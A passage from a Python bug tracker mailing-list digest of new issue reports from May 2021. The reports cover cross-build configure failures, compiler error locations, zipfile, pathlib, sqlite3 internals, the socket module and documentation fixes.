ac_cv_file__dev_ptmx=yes \
ac_cv_file__dev_ptc=no \
ac_cv_buggy_getaddrinfo=no \
../configure --build=x86-linux-gnu \
	--host=aarch64-linux-gnu \
	--enable-loadable-sqlite-extensions \
	--enable-option-checking=fatal \
	--enable-shared \
	--with-system-expat \
	--with-system-ffi \
	--without-ensurepip
checking build system type... x86-unknown-linux-gnu
checking host system type... aarch64-unknown-linux-gnu
checking for python3.9... /python3/hostbuild/python
checking for python interpreter for cross build... python
...

$/python3/targetbuild# grep PYTHON_FOR_BUILD config.log 
PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib _PYTHON_SYSCONFIGDATA_NAME=_sysconfigdata_$(ABIFLAGS)_$(MACHDEP)_$(MULTIARCH) python'


in configure

if test "$cross_compiling" = yes; then
    AC_MSG_CHECKING([for python interpreter for cross build])
    if test -z "$PYTHON_FOR_BUILD"; then
        for interp in python$PACKAGE_VERSION python3 python; do
            which $interp >/dev/null 2>&1 || continue
            if $interp -c "import sys;sys.exit(not '.'.join(str(n) for n in sys.version_info@<:@:2@:>@) == '$PACKAGE_VERSION')"; then
                break
            fi
            interp=
        done
        if test x$interp = x; then
            AC_MSG_ERROR([python$PACKAGE_VERSION interpreter not found])
        fi
        AC_MSG_RESULT($interp)
        PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib _PYTHON_SYSCONFIGDATA_NAME=_sysconfigdata_$(ABIFLAGS)_$(MACHDEP)_$(MULTIARCH) '$interp
    fi
elif test "$cross_compiling" = maybe; then
    AC_MSG_ERROR([Cross compiling required --host=HOST-TUPLE and --build=ARCH])
else
    PYTHON_FOR_BUILD='./$(BUILDPYTHON) -E'
fi
AC_SUBST(PYTHON_FOR_BUILD)


The issue is a failing edge case here:

        for interp in python$PACKAGE_VERSION python3 python; do
            which $interp >/dev/null 2>&1 || continue

where interp keeps it's last value doesn't trigger the empty check here:

        if test x$interp = x; then
            AC_MSG_ERROR([python$PACKAGE_VERSION interpreter not found])
        fi

Note that there's an explicit clearing of interp when the python version isn't a match:

            if $interp -c "import sys;sys.exit(not '.'.join(str(n) for n in sys.version_info@<:@:2@:>@) == '$PACKAGE_VERSION')"; then
                break
            fi
            interp=


The fix should be pretty straightforward:

        for interp in python$PACKAGE_VERSION python3 python ''; do

adding '' as the last possible interpreter means one hasn't been found up to that point and allows configure to properly fail

$/python3/targetbuild# PYTHON_FOR_REGEN=/python3/hostbuild/python ac_cv_file__dev_ptmx=yes ac_cv_file__dev_ptc=no ac_cv_buggy_getaddrinfo=no ../configure --build=x86-linux-gnu --host=aarch64-linux-gnu --enable-loadable-sqlite-extensions --enable-option-checking=fatal --enable-shared --with-system-expat --with-system-ffi --without-ensurepip
checking build system type... x86-unknown-linux-gnu
checking host system type... aarch64-unknown-linux-gnu
checking for python3.9... /python3/hostbuild/python
checking for python interpreter for cross build... configure: error: python3.9 interpreter not found

It will continue to work when a proper interpreter is found

$/python3/targetbuild# PATH=/python3/hostbuild:$PATH PYTHON_FOR_REGEN=/python3/hostbuild/python ac_cv_file__dev_ptmx=yes ac_cv_file__dev_ptc=no ac_cv_buggy_getaddrinfo=no ../configure --build=x86-linux-gnu --host=aarch64-linux-gnu --enable-loadable-sqlite-extensions --enable-option-checking=fatal --enable-shared --with-system-expat --with-system-ffi --without-ensurepip
checking build system type... x86-unknown-linux-gnu
checking host system type... aarch64-unknown-linux-gnu
checking for python3.9... /python3/hostbuild/python
checking for python interpreter for cross build... Could not find platform dependent libraries <exec_prefix>
Consider setting $PYTHONHOME to <prefix>[:<exec_prefix>]
python


This should help highlight any inconsistent environment between configuring and building.

----------
components: Cross-Build
messages: 393125
nosy: Alex.Willmer, vfazio
priority: normal
severity: normal
status: open
title: cross: wrong interpreter returned when no python available
type: compile error
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44062>
_______________________________________

From report at bugs.python.org  Thu May  6 15:34:13 2021
From: report at bugs.python.org (Batuhan Taskaya)
Date: Thu, 06 May 2021 19:34:13 +0000
Subject: [New-bugs-announce] [issue44063] compiler: does not revert back the
 end_* locations
Message-ID: <1620329653.84.0.738145818276.issue44063@roundup.psfhosted.org>


New submission from Batuhan Taskaya <isidentical at gmail.com>:

Something that I've stumbled up while working on another patch is that, the compiler doesn't revert the end_lineno and the end_col_offset attributes back unlike regular lineno/col_offset. An example of this problem;
ar rcs libpython3.10d.a Modules/getbuildinfo.o Parser/token.o  Parser/pegen.o Parser/parser.o Parser/string_parser.o Parser/peg_api.(.venv38) (Python 3.8.5+) [ 10:33?S ]  [ isidentical at desktop:~/cpython/cpython(main?) ]
 $ cat t3.py 
def foo(a):
    pass

foo(
    a=1,
    a=2
)

 $ ./python t3.py
  File "/home/isidentical/cpython/cpython/t3.py", line 4
    foo(
        ^
SyntaxError: keyword argument repeated: a

with the fix

 $ ./python t3.py
  File "/home/isidentical/cpython/cpython/t3.py", line 6
    a=2
    ^^^
SyntaxError: keyword argument repeated: a

----------
messages: 393138
nosy: BTaskaya
priority: normal
severity: normal
status: open
title: compiler: does not revert back the end_* locations

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44063>
_______________________________________

From report at bugs.python.org  Thu May  6 21:22:04 2021
From: report at bugs.python.org (Kathleen West)
Date: Fri, 07 May 2021 01:22:04 +0000
Subject: [New-bugs-announce] [issue44064] Python39/lib/logging/__init__.py
 SyntaxError: cannot delete starred
Message-ID: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org>


New submission from Kathleen West <kathleen.elizabeth.west at gmail.com>:

There is a syntax error in the python library "Python39/lib/logging/__init__.py" that when I run this is VS Code in debug mode, this shows up all the time.  

python --version
Python 3.9.4

Python39/lib/logging/__init__.py

{
	"resource": "/C:/Users/kathl/AppData/Local/Programs/Python/Python39/lib/logging/__init__.py",
	"owner": "_generated_diagnostic_collection_name_#0",
	"severity": 8,
	"message": "SyntaxError: cannot delete starred",
	"source": "jedi",
	"startLineNumber": 1030,
	"startColumn": 17,
	"endLineNumber": 1030,
	"endColumn": 29
}

----------
components: Library (Lib)
files: PythonError.jpg
messages: 393156
nosy: kathleenwest
priority: normal
severity: normal
status: open
title: Python39/lib/logging/__init__.py SyntaxError: cannot delete starred
type: compile error
versions: Python 3.9
Added file: https://bugs.python.org/file50021/PythonError.jpg

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44064>
_______________________________________

From report at bugs.python.org  Fri May  7 02:45:46 2021
From: report at bugs.python.org (Stephan Bergmann)
Date: Fri, 07 May 2021 06:45:46 +0000
Subject: [New-bugs-announce] [issue44065] "configure: error: internal
 configure error for the platform triplet" on macOS with Clang supporting
 --print-multiarch:
Message-ID: <1620369946.97.0.428718248395.issue44065@roundup.psfhosted.org>


New submission from Stephan Bergmann <sbergman at redhat.com>:

I experienced this with Python 3.8 when building it as part of LibreOffice (see <https://git.libreoffice.org/core/+/b0a4b49a88aacfbc127965c0c6fe50a065eb3a0f%5E%21> "external/python3: Clang 13 trunk implements --print-multiarch now", quoting from its commit message below) but from the sources it looks like it would still be an issue with the latest cpython main branch:

Clang 13 trunk implements --print-multiarch now since <https://github.com/llvm/llvm-project/commit/a921d2d2fb46b898794091e7410426c518a4f0cc> "[Driver] Add -print-multiarch", which causes an issue when building with such a compiler on macOS:

> checking build system type... x86_64-apple-darwin19.6.0
> checking host system type... x86_64-apple-darwin19.6.0
[...]
> checking for the platform triplet based on compiler characteristics... darwin
configure: error: internal configure error for the platform triplet, please file a bug report

as configure.ac computes PLATFORM_TRIPLET as "darwin", and instead of computing MULTIARCH as empty (as `$CC --print-multiarch` used to just print

> clang: error: unsupported option '--print-multiarch'
> clang: error: no input files

to stderr), it now computes it as e.g. "x86_64-apple-darwin19.6.0" (or whatever -target is explicitly set to in $CC), so the check that they have equal values if they are both nonempty fails now when building against Clang 13 trunk.  (This does not yet appear to be an issue with any Apple Clang version, though.)

----------
components: Build
messages: 393167
nosy: sberg
priority: normal
severity: normal
status: open
title: "configure: error: internal configure error for the platform triplet" on macOS with Clang supporting --print-multiarch:
type: compile error
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44065>
_______________________________________

From report at bugs.python.org  Fri May  7 03:43:08 2021
From: report at bugs.python.org (Shreyan Avigyan)
Date: Fri, 07 May 2021 07:43:08 +0000
Subject: [New-bugs-announce] [issue44066] Conflicts while using
 Py_LIMITED_API
Message-ID: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org>


New submission from Shreyan Avigyan <shreyan.avigyan at gmail.com>:

I usually program in Python C API without defining Py_LIMITED_API. I thought about using the stable ABI today. To my surprise, there are lot of conflicts occurring if Py_LIMITED_API is defined. The whole list of errors are:-

1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(16,17): error C2037: left of 'tp_free' specifies undefined struct/union '_typeobject'
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(23,31): error C2037: left of 'tp_alloc' specifies undefined struct/union '_typeobject'
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(46,34): warning C4013: '_PyArg_ParseTupleAndKeywords_SizeT' undefined; assuming extern returning int
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(97,21): error C2079: 'ExampleType' uses undefined struct '_typeobject'
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(109,1): error C2078: too many initializers
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(99,3): error C2224: left of '.tp_name' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(100,3): error C2224: left of '.tp_doc' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(101,3): error C2224: left of '.tp_basicsize' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(102,3): error C2224: left of '.tp_itemsize' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(103,3): error C2224: left of '.tp_flags' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(104,3): error C2224: left of '.tp_new' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(105,3): error C2224: left of '.tp_init' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(106,3): error C2224: left of '.tp_dealloc' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(107,3): error C2224: left of '.tp_members' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(108,3): error C2224: left of '.tp_methods' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(16,20): error C2037: left of 'tp_free' specifies undefined struct/union '_typeobject'
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(23,33): error C2037: left of 'tp_alloc' specifies undefined struct/union '_typeobject'
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(147,21): error C2079: 'CustomType' uses undefined struct '_typeobject'
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(160,1): error C2078: too many initializers
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(149,6): error C2224: left of '.tp_name' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(150,6): error C2224: left of '.tp_doc' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(151,6): error C2224: left of '.tp_basicsize' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(152,6): error C2224: left of '.tp_itemsize' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(153,6): error C2224: left of '.tp_flags' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(154,6): error C2224: left of '.tp_new' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(155,6): error C2224: left of '.tp_init' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(156,6): error C2224: left of '.tp_dealloc' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(157,6): error C2224: left of '.tp_members' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(158,6): error C2224: left of '.tp_methods' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(159,6): error C2224: left of '.tp_getset' must have struct/union type
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\main.c(18,32): warning C4133: 'function': incompatible types - from 'int *' to 'PyTypeObject *'
1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\main.c(19,28): warning C4133: 'function': incompatible types - from 'int *' to 'PyTypeObject *'

This is pretty awkward because these errors only occur in stable ABI. Am I doing something wrong here or is there a bug out there?

----------
components: Build, C API, Windows
messages: 393173
nosy: paul.moore, shreyanavigyan, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Conflicts while using Py_LIMITED_API
type: compile error
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44066>
_______________________________________

From report at bugs.python.org  Fri May  7 04:18:55 2021
From: report at bugs.python.org (AMRIT RAI)
Date: Fri, 07 May 2021 08:18:55 +0000
Subject: [New-bugs-announce] [issue44067] Zipfile lib overwrites the extra
 field during closing when the archive size is more then ZIP64_LIMIT
Message-ID: <1620375535.4.0.206636353999.issue44067@roundup.psfhosted.org>


New submission from AMRIT RAI <shaanbhaya at gmail.com>:

The current zipFile implementation supports the allowZip64,which can make large zip files.
There is a bug in the current implementation of close method ,where the extra field is overwritten .

To reproduce it :
1.Create a directory with more then 4 GB of data(spread over many files).
2.Make the zip of those files using the any rar achiever which adds NTFS metadata(mtime,atime and ctime) of files in the zip.
3.Apped a new file to the zip using the zip library .

When i open the zip again ,the files processed after the ZIP64_LIMIT is reached will have there extra fields overwritten.

I have attached the zip which contained the python used to add the new file, and the images of zip archive before adding new files and after.

----------
components: Library (Lib)
files: zip_bug.zip
messages: 393178
nosy: shaanbhaya
priority: normal
severity: normal
status: open
title: Zipfile lib overwrites the extra field during closing when the archive size is more then ZIP64_LIMIT
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file50025/zip_bug.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44067>
_______________________________________

From report at bugs.python.org  Fri May  7 11:00:44 2021
From: report at bugs.python.org (yiyuaner)
Date: Fri, 07 May 2021 15:00:44 +0000
Subject: [New-bugs-announce] [issue44068] Possible divide by zero problems
Message-ID: <1620399644.92.0.605613335347.issue44068@roundup.psfhosted.org>


New submission from yiyuaner <yguoaz at gmail.com>:

In the file Objects/unicodeobject.c, we have the following code:

static PyObject*
resize_compact(PyObject *unicode, Py_ssize_t length) {
  ...
  char_size = PyUnicode_KIND(unicode);
  ...
  if (length > ((PY_SSIZE_T_MAX - struct_size) / char_size - 1)) {
    PyErr_NoMemory();
    return NULL;
  }
}

However, PyUnicode_KIND may return 0 if the variable unicode has kind PyUnicode_WCHAR_KIND, leading to a divide by zero problem.

The same pattern is also used without checking in function "static int
resize_inplace(PyObject *unicode, Py_ssize_t length)".

Here is the link to the code location: https://github.com/python/cpython/blob/main/Objects/unicodeobject.c#L1045

Should we add an explicit check on variable char_size before using it in division?

----------
components: Unicode
messages: 393188
nosy: ezio.melotti, vstinner, yiyuaner
priority: normal
severity: normal
status: open
title: Possible divide by zero problems
type: behavior
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44068>
_______________________________________

From report at bugs.python.org  Fri May  7 11:46:22 2021
From: report at bugs.python.org (Elijah Rippeth)
Date: Fri, 07 May 2021 15:46:22 +0000
Subject: [New-bugs-announce] [issue44069] pathlib.Path.glob's generator is
 not a real generator
Message-ID: <1620402382.41.0.425186476785.issue44069@roundup.psfhosted.org>


New submission from Elijah Rippeth <elijah.rippeth at gmail.com>:

I have a directory with hundreds of thousands of text files. I wanted to explore one file, so I wrote the following code expecting it to happen basically instantaneously because of how generators work:

```python
from pathlib import Path

base_dir = Path("/path/to/lotta/files/")
files = base_dir.glob("*.txt")            # return immediately
first_file = next(files)                  # doesn't return immediately
```

to my surprise, this took a long time to finish since `next` on a generator should be O(1).

A colleague pointed me to the following code: https://github.com/python/cpython/blob/adcd2205565f91c6719f4141ab4e1da6d7086126/Lib/pathlib.py#L431

I assume calling this list is to "freeze" a potentially changing directory since `scandir` relies on `os.stat`, but this causes a huge penalty and makes the generator return-type a bit disingenuous. In any case, I think this is bug worthy in someo sense.

----------
components: IO
messages: 393190
nosy: Elijah Rippeth
priority: normal
severity: normal
status: open
title: pathlib.Path.glob's generator is not a real generator
type: performance
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44069>
_______________________________________

From report at bugs.python.org  Fri May  7 15:59:49 2021
From: report at bugs.python.org (James Saryerwinnie)
Date: Fri, 07 May 2021 19:59:49 +0000
Subject: [New-bugs-announce] [issue44070] Regression with relative paths in
 sys.path in python 3.8.10
Message-ID: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org>


New submission from James Saryerwinnie <js at jamesls.com>:

There was a change in behavior in Python 3.8.10 when using relative paths in sys.path.  It appears that the paths are now converted to absolute paths that are cached and can cause import errors in some cases.

Repro:

$ cat repro.sh
#!/bin/bash
python --version
mkdir -p /tmp/repro/{A,B}/testproject
echo "msg = 'from A'" > /tmp/repro/A/testproject/app.py
echo "msg = 'from B'" > /tmp/repro/B/testproject/app.py
python -c "
import sys, os, shutil
os.chdir('/tmp/repro/A')
sys.path.append('testproject')
import app
print(app)
print(app.msg)

os.chdir('/tmp/repro/B')
shutil.rmtree('/tmp/repro/A')
del sys.modules['app']
import app
print(app)
print(app.msg)
"
rm -rf /tmp/repro




On Python 3.8.9 I get:

$ ./repro.sh
Python 3.8.9
<module 'app' from 'testproject/app.py'>
from A
<module 'app' from 'testproject/app.py'>
from B

On Python 3.8.10 I get:

$ ./repro.sh
Python 3.8.10
<module 'app' from '/private/tmp/repro/A/testproject/app.py'>
from A
Traceback (most recent call last):
  File "<string>", line 12, in <module>
ModuleNotFoundError: No module named 'app'


I haven't confirmed this (I can't work out the frozen bootstrap stuff), but this might be caused by https://bugs.python.org/issue43105, whose patch does seem to be converting paths to absolute paths.

----------
components: Library (Lib)
messages: 393212
nosy: James.Saryerwinnie
priority: normal
severity: normal
status: open
title: Regression with relative paths in sys.path in python 3.8.10
type: behavior
versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44070>
_______________________________________

From report at bugs.python.org  Fri May  7 16:44:44 2021
From: report at bugs.python.org (Sergey Maslyakov)
Date: Fri, 07 May 2021 20:44:44 +0000
Subject: [New-bugs-announce] [issue44071] Syntax error in Python3
 documentation
Message-ID: <1620420284.18.0.966368457696.issue44071@roundup.psfhosted.org>


New submission from Sergey Maslyakov <evolvah at gmail.com>:

https://docs.python.org/3/library/subprocess.html#subprocess.check_output

The code sample seems to have a misplaced closing round bracket. It should go after "stdout"

```
run(..., check=True, stdout=PIPE).stdout
```

----------
assignee: docs at python
components: Documentation
messages: 393222
nosy: docs at python, evolvah
priority: normal
severity: normal
status: open
title: Syntax error in Python3 documentation
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44071>
_______________________________________

From report at bugs.python.org  Sat May  8 03:05:20 2021
From: report at bugs.python.org (Rory Yorke)
Date: Sat, 08 May 2021 07:05:20 +0000
Subject: [New-bugs-announce] [issue44072] Doc: power operator (`**`) present
 for numbers.Complex, not added in numbers.Integral
Message-ID: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org>


New submission from Rory Yorke <rory.yorke at gmail.com>:

Checked at commit 42fcad2, HEAD of main circa 8 May 2021.

cpython/Doc/library/numbers.rst says numbers.Complex subtypes "include the operations [...] ``+``, ``-``, ``*``, ``/``, :func:`abs`, :meth:`conjugate`, ``==``, and ``!=``"

and for numbers.Integral: "Adds abstract methods for ``**`` and"

However, in cpython/Lib/numbers.py, the class Complex has `__pow__` and `__rpow__` methods, which makes sense mathematically.  The numbers.Class docstring is also missing a mention of `**`.

class.Integral does define a three-argument __pow__ for three-argument pow().

----------
assignee: docs at python
components: Documentation
messages: 393240
nosy: docs at python, roryyorke
priority: normal
severity: normal
status: open
title: Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44072>
_______________________________________

From report at bugs.python.org  Sat May  8 03:47:59 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Sat, 08 May 2021 07:47:59 +0000
Subject: [New-bugs-announce] [issue44073] [sqlite3] drop statement in_use
 field in favour of sqlite3_stmt_busy()
Message-ID: <1620460079.81.0.577574944672.issue44073@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

sqlite3_stmt_busy() has been around since SQLite 3.7.10. I suggest to drop the in_use field of pysqlite_Statement in favour of sqlite3_stmt_busy(); we do not need to duplicate functionality already present in SQLite.

There was a bugfix for sqlite3_stmt_busy() in SQLite 3.8.6 regarding rollback statements, but we normally reset all our statements after use, so it should not be a problem. There are some corner cases in _pysqlite_query_execute() where a sqlite3_stmt may not be reset upon return, but that's easily fixable (and it would be a nice side-effect).

Pro's:
- statement objects have one less member
- no duplication of SQLite functionality
- cleaner exit paths from _pysqlite_query_execute()
- less lines of code, easier to maintain

Con's:
- the current code works / "code churn"

----------
assignee: erlendaasland
components: Extension Modules
keywords: easy (C)
messages: 393241
nosy: berker.peksag, erlendaasland, serhiy.storchaka
priority: normal
severity: normal
status: open
title: [sqlite3] drop statement in_use field in favour of sqlite3_stmt_busy()
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44073>
_______________________________________

From report at bugs.python.org  Sat May  8 04:05:12 2021
From: report at bugs.python.org (Rory Yorke)
Date: Sat, 08 May 2021 08:05:12 +0000
Subject: [New-bugs-announce] [issue44074] patchcheck checks against branch
 "master" not "main"
Message-ID: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org>


New submission from Rory Yorke <rory.yorke at gmail.com>:

I'm probably missing something, but "master" seems hard-coded into patchcheck.py, and I couldn't find any related issues on bpo.

Checked on branch off 42fcad2.

When I ran patchcheck:

    rory at rory-latitude:~/src/cpython$ ./python Tools/scripts/patchcheck.py
    Getting base branch for PR ... origin/master
    Getting the list of files that have been added/changed ... fatal: ambiguous argument 'origin/master': unknown revision or path not in the working tree.
    Use '--' to separate paths from revisions, like this:
    'git <command> [<revision>...] -- [<file>...]'
    0 files
    <snip>

The obvious offender is line 81 of Tools/scripts/patchcheck.py:

        base_branch = "master"

Changing this to "main" results in useful output, but I imagine one
would want to check for both "master" and "main" for a while yet?

----------
components: Demos and Tools
messages: 393244
nosy: roryyorke
priority: normal
severity: normal
status: open
title: patchcheck checks against branch "master" not "main"

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44074>
_______________________________________

From report at bugs.python.org  Sat May  8 08:19:46 2021
From: report at bugs.python.org (Tom Forbes)
Date: Sat, 08 May 2021 12:19:46 +0000
Subject: [New-bugs-announce] [issue44075] Add a PEP578 audit hook for
 Asyncio loop stalls
Message-ID: <1620476386.35.0.418122152623.issue44075@roundup.psfhosted.org>


New submission from Tom Forbes <tom at tomforb.es>:

Detecting and monitoring loop stalls in a production asyncio application is more difficult than it could be.

Firstly you must enable debug mode for the entire loop then you need to look for warnings outputted via the asyncio logger. This makes it hard to send loop stalls to monitoring systems via something like statsd.

Ideally asyncio callbacks would always be timed and an auditevent always triggered if it passes a particular threshold. If debug mode is enabled then a warning is logged.

----------
components: asyncio
messages: 393251
nosy: asvetlov, orf, yselivanov
priority: normal
severity: normal
status: open
title: Add a PEP578 audit hook for Asyncio loop stalls
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44075>
_______________________________________

From report at bugs.python.org  Sat May  8 09:04:44 2021
From: report at bugs.python.org (Mohamed)
Date: Sat, 08 May 2021 13:04:44 +0000
Subject: [New-bugs-announce] [issue44076] issue with list in Python 3.8.5
Message-ID: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org>


New submission from Mohamed <allawatimr at gmail.com>:

I am using Python under Windows 10 on Dell for a log time.
All of my applications on Python were working fine.
Suddenly from the beginning of May, 
My apps do not update a "list" data after a new insert, 
even with small data volume.

As well as choosing old data from a list, 
a message appears stating that the identifier is out of range, 
and is working properly after restart.
Programs that do not use a list work fine.

After investigation, it appears memory issues.
How I solve the issue?

----------
components: Windows
messages: 393256
nosy: becky07, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: issue with list in Python 3.8.5
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44076>
_______________________________________

From report at bugs.python.org  Sat May  8 10:57:49 2021
From: report at bugs.python.org (Georg Sauthoff)
Date: Sat, 08 May 2021 14:57:49 +0000
Subject: [New-bugs-announce] [issue44077] IP_RECVTOS option is missing from
 socket module
Message-ID: <1620485869.86.0.948839095965.issue44077@roundup.psfhosted.org>


New submission from Georg Sauthoff <mail at georg.so>:

Currently, the socket module doesn't provide the IP_RECVTOS constant.

This constant is needed for receiving the TOS byte (or the DSCP bits) via ancillary data when calling recvmsg() or recvmsg_into().

That means it would be used in a setsockopt() call like this:

s.setsockopt(socket.IPPROTO_IP, socket.IP_RECVTOS, 1)

This socket option is available on Linux and perhaps other operating systems, as well.

See also https://manpath.be/f33/7/ip#L467

----------
components: Library (Lib)
messages: 393261
nosy: gms
priority: normal
severity: normal
status: open
title: IP_RECVTOS option is missing from socket module
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44077>
_______________________________________

From report at bugs.python.org  Sat May  8 11:43:11 2021
From: report at bugs.python.org (Mark Hammond)
Date: Sat, 08 May 2021 15:43:11 +0000
Subject: [New-bugs-announce] [issue44078] Output relative path when using
 PurePath.relative_to
Message-ID: <1620488591.33.0.62171873486.issue44078@roundup.psfhosted.org>


New submission from Mark Hammond <hammond at finleme.com>:

Comparing two paths, PurePath.relative_to fails with ValueError if the second path is not in the first.

>>> Path('/a/b').relative_to('/a/b/c')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.9/pathlib.py", line 928, in relative_to
    raise ValueError("{!r} is not in the subpath of {!r}"
ValueError: '/a/b' is not in the subpath of '/a/b/c' OR one path is relative and the other is absolute.

Please extend PurePath.relative_to so it is able to output a relative path in form of '..' instead of an error. Currently, the only way to do this is to use relpath from os.path but it would be very useful if Path was able to output the relative path.

----------
components: Library (Lib)
messages: 393262
nosy: mhammondr
priority: normal
severity: normal
status: open
title: Output relative path when using PurePath.relative_to
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44078>
_______________________________________

From report at bugs.python.org  Sat May  8 15:43:24 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Sat, 08 May 2021 19:43:24 +0000
Subject: [New-bugs-announce] [issue44079] [sqlite3] optimisation: remove
 statement weak ref list from connection object
Message-ID: <1620503004.28.0.3842383449.issue44079@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

Today, the sqlite3 extension module keeps two[1] lists of statements:

 1. The statement cache[2], stored in pysqlite_Connection.statement_cache
 2. A weak ref. list (hard coded limited to 200 statements in _pysqlite_drop_unused_statement_references()), stored in pysqlite_Connection.statements

AFAICS, there's no benefit in keeping both. Suggesting to remove the latter.

Pro's:
- less lines of code to maintain
- clearer code
- one less data member in pysqlite_Connection
- improved test coverage (there are currently no coverage for _pysqlite_drop_unused_statement_references()[3])

Con's:
- the current code works / "code churn"


$ git diff --shortstat 
 1 file changed, 13 insertions(+), 60 deletions(-)


[1] Actually, there's three lists: SQLite also keeps a list, available using sqlite3_stmt_next()
[2] See bpo-42862 for suggested improvements to the current cache implementation
[3] See bpo-43553 for improving the code coverage of the sqlite3 extension module

----------
assignee: erlendaasland
components: Extension Modules
messages: 393282
nosy: berker.peksag, erlendaasland, serhiy.storchaka
priority: normal
severity: normal
status: open
title: [sqlite3] optimisation: remove statement weak ref list from connection object
type: resource usage
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44079>
_______________________________________

From report at bugs.python.org  Sat May  8 17:10:38 2021
From: report at bugs.python.org (Dennis Sweeney)
Date: Sat, 08 May 2021 21:10:38 +0000
Subject: [New-bugs-announce] [issue44080] Bias in
 random.choices(long_sequence)
Message-ID: <1620508238.0.0.37893713444.issue44080@roundup.psfhosted.org>


New submission from Dennis Sweeney <sweeney.dennis650 at gmail.com>:

